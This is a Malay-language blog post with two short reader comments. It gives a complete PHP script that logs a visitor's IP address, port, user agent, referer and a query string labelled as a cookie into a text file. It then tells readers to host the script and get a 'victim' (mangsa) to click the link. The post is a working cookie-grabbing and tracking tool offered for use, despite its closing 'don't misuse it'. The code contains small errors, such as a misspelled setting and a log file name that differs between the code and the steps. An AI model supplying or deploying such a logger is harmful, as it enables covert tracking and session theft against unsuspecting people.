Sebenarnya, aku mendapat idea untuk ajar korang benda nie selepas terbaca blog Seth Erry. Aku pun bercadang nak ajarkan dekat korang semua. Ok, jom mulakan.
Ok. Aku akan ajar korang bagaimana nak dapatkan maklumat seseorang dengan kod PHP Script. Semua barang yang akan kita sediakan ni, semuanya akan diupload di Webhosting, jadi sediakanlah Webhosting korang yerk.
Korang copy dibawah dan paste dekat Notepad.
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") &&
strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") &&
strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") &&
strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) &&
$_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],
"unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="cc.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i",
$ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent:
$user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date |
COOKIE: $cookie
");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent:
$user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date |
COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
Save as Information.php
Lepas tuh, korang buat 1 file text.
Save as Cc.text
Lepas dah siap, korang upload semua file-2 tuh ke dalam Webhosting korang. Sebenarnya, korang boleh buat terus file tuh dalam Webhosting tu. Tapi, kalau yang tak reti, korang buat guna cara aku jerp lah k.
Ok, dah siap upload? Korang copy link Information.php dan suruh mangsa korang tuh klik. Bila dia dah klik, semua information mangsa korang tuh akan tersimpan dekat dalam Cc.text.
Done! Semoga apa yang aku kongsikan dengan korang semua dapat menjadi pembelajaran yang baharu buat korang. Jangan salah gunakan.
Peace No War!
Assalamualaikum..
dpt ip orang yg click tu kan?
ReplyDeleteHa'ah, erk ? bukan dah baca kew kat blog Seth Erry ?
ReplyDelete